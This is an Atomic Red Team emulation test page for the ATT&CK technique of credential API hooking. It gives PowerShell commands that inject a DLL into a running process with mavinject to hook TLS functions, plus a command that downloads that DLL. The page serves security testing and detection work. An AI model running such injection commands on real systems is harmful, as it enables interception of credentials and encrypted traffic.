T1056.004
Input Capture: Credential API Hooking
Description from ATT&CK
Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
- Hooks procedures, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)
- Import address table (IAT) hooking, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
- Inline hooking, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
Atomic Tests
Atomic Test #1 - Hook PowerShell TLS Encrypt/Decrypt Messages
Hooks functions in PowerShell to read TLS Communications
Supported Platforms: windows
auto_generated_guid: de1934ea-1fbf-425b-8795-65fb27dd7e33
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
file_name | Dll To Inject | path | PathToAtomicsFolder\T1056.004\bin\T1056.004x64.dll |
server_name | TLS Server To Test Get Request | url | https://www.example.com |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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mavinject $pid /INJECTRUNNING #{file_name}
Invoke-WebRequest #{server_name} -UseBasicParsing
Dependencies: Run with powershell!
Description: T1056.004x64.dll must exist on disk at specified location (#{file_name})
Check Prereq Commands:
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if (Test-Path #{file_name}) {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll" -OutFile "#{file_name}" -UseBasicParsing